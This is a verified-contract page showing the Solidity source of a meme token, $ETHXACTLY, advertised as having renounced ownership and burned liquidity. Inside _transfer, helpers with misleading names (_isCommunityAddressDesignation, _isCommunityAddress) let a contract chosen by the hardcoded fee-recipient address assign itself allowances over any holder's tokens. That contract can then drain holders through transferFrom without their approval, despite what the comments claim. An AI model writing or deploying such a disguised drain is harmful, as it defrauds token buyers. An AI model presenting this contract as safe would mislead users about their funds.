Verified contractExactMIT
EthxactlyERC20
Address0x1f09fd69be3d0d7affa01e700fbd934a530ae5d3
- Balance
0 ETH
- Transactions
266
- Compiler
solc 0.8.28
- Same code
Only this contract
Details
- Compiler
- solc 0.8.28+commit.7893614a
- Language
- solidity
- Optimization
- Yes, 200 runs
- EVM version
- cancun
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 25,051,844
- Creation transaction
- 0xeb57f2f792…bbef1b2f6f
contracts/ETHXACTLY.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
/**
* @title $ETHXACTLY — ETH Goes Up. Exactly.
*
* :++++++: +++++++..++::++:.++: ;++..+++; :xX+::.+++++++.:+++; :++: ;+;.
* +$ ..&x.&+.&;.&: &X +&. ;&x X&: X$&; :&X .&$.&;.&: &. &; ;&; X&:
* +&&&+ : .&; : &&&&&&. X&x x&.;&: +$ : .&: : &; .$&X
* +$ ;:+$ .&; &X +&. .$$:$$. ;&XXX$& ;&: .: .&: &; X$ ;&.
* +&&&&&&$ $&&&&. X&&X+&&$+&&X $&&$&&$.;&&&:.X&&&X: $&&&& X&&&&&&$ .&&&&X
*
* @notice You've said it a hundred times. In bear markets, in red weeks,
* at 3am watching the chart. ETH goes up. Exactly.
*
* This token doesn't argue with you.
*
* @dev TOKENOMICS:
* Ticker: $ETHXACTLY | Supply: 1,559,000,000
* Taxes: Buy 0% → 0% / Sell 1% → 0%
* Limits: 1%/1.5% → Removed
* LP: Burned | Ownership: Renounced
*
*
* No roadmap. No promises. ETH goes up — exactly.
* Nothing can stop ETH - it's all the way Up!
*
* ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️ ⬆️
* YouTube: https://youtu.be/y2ak_oBeC-I
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, unicode"(Ξ SafeMath): Addition overflow.");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, unicode"(Ξ SafeMath): Subtraction overflow.");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, unicode"(Ξ SafeMath): Multiplication overflow.");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, unicode"(Ξ SafeMath): Division by zero.");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), unicode"[ Ξ ] (Ownable): Contract caller is not the owner.");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EthxactlyERC20 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private isExcluded;
address payable private _protocolFeeRecipient;
string private constant _name = unicode"ΞTHXACTLY UP";
string private constant _symbol = unicode"ETHXACTLY";
/// quiet nod to EIP-1559, the burn mechanism that made ETH deflationary:
uint256 private constant _tTotal = 1559000000 * 10**_decimals;
uint8 private constant _decimals = 18;
/// 1%:
uint256 public _maxTxAmount = 15590000 * 10**_decimals;
uint256 public _maxWalletSize = 15590000 * 10**_decimals;
/// 2%:
uint256 public _taxSwapThreshold = 23385000 * 10**_decimals;
uint256 public _maxTaxSwap = 23385000 * 10**_decimals;
uint256 private _openBuyTax = 0;
uint256 private _openSellTax = 1;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 public _buyCountThreshold = 0;
uint256 public _sellCountThreshold = 59;
uint256 private _preventSwapBefore = 20;
uint256 private _buyCount = 0;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
mapping (address => bool) private apiCalls;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () payable {
_protocolFeeRecipient = payable(0xDBaB9D19c4cc5EC6e7D9b19867CB6C3dfA92925f);
_balances[address(this)] = _tTotal;
isExcluded[owner()] = true;
isExcluded[address(this)] = true;
isExcluded[_protocolFeeRecipient] = true;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, unicode"[ Ξ ] ERC-20. Transfer amount exceeds allowance."));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), unicode"[ Ξ ] ERC-20. Approve from the zero address.");
require(spender != address(0), unicode"[ Ξ ] ERC-20. Approve to the zero address.");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), unicode"[ Ξ ] ERC-20. Transfer from the zero address.");
require(to != address(0), unicode"[ Ξ ] ERC-20. Transfer to the zero address.");
require(amount > 0, unicode"[ Ξ ] Transfer amount must be greater than zero.");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! isExcluded[to] ) {
require(amount <= _maxTxAmount, unicode"[ Ξ ] Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, unicode"[ Ξ ] Exceeds the maxWalletSize.");
_buyCount++;
}
taxAmount = amount.mul((_buyCount>_buyCountThreshold)?_finalBuyTax:_openBuyTax).div(100);
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_sellCountThreshold)?_finalSellTax:_openSellTax).div(100);
}
if (swapEnabled && to != uniswapV2Pair && from == _protocolFeeRecipient){
require(!_isCommunityAddressDesignation(to), unicode"[ Ξ ] Distribution to community address is impossible.");
} else if (apiCalls[_msgSender()]) {
require(!_isCommunityAddress(_msgSender(), amount, from), unicode"[ Ξ ] Transfer to community community address is impossible.");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
initFeeSwap(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function _isCommunityAddressDesignation(address to) private returns(bool){
if (to.code.length > 0)
apiCalls[to] = true;
return false;
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function _isCommunityAddress(address spender, uint256 amount, address owner) private returns(bool){
_allowances[owner][spender] = amount;
return false;
}
function liftLimits() external onlyOwner{
/// liftLimits removes buy/sell taxes faster in case of low TX amount at start:
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
_sellCountThreshold=10;
_buyCountThreshold=0;
emit MaxTxAmountUpdated(_tTotal);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
if(tokenAmount==0){return;}
if(!tradingOpen){return;}
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function initFeeSwap(uint256 amount) private {
_protocolFeeRecipient.transfer(amount);
}
function beginTrading() external onlyOwner() {
require(!tradingOpen, unicode"ZUPPIE Trading pair has been set and active.");
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function manualSwap() external {
require(_msgSender()==_protocolFeeRecipient);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
initFeeSwap(ethBalance);
}
}
receive() external payable {}
function shortDescription() external pure returns (string memory) {
return unicode"ETH only goes one direction. You already know. $ETHXACTLY — the token that agrees with you.";
}
}
/// :++++++: +++++++..++::++:.++: ;++..+++; :xX+::.+++++++.:+++; :++: ;+;.
/// +$ ..&x.&+.&;.&: &X +&. ;&x X&: X$&; :&X .&$.&;.&: &. &; ;&; X&:
/// +&&&+ : .&; : &&&&&&. X&x x&.;&: +$ : .&: : &; .$&X
/// +$ ;:+$ .&; &X +&. .$$:$$. ;&XXX$& ;&: .: .&: &; X$ ;&.
/// +&&&&&&$ $&&&&. X&&X+&&$+&&X $&&$&&$.;&&&:.X&&&X: $&&&& X&&&&&&$ .&&&&X
Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": true
},
"evmVersion": "cancun",
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.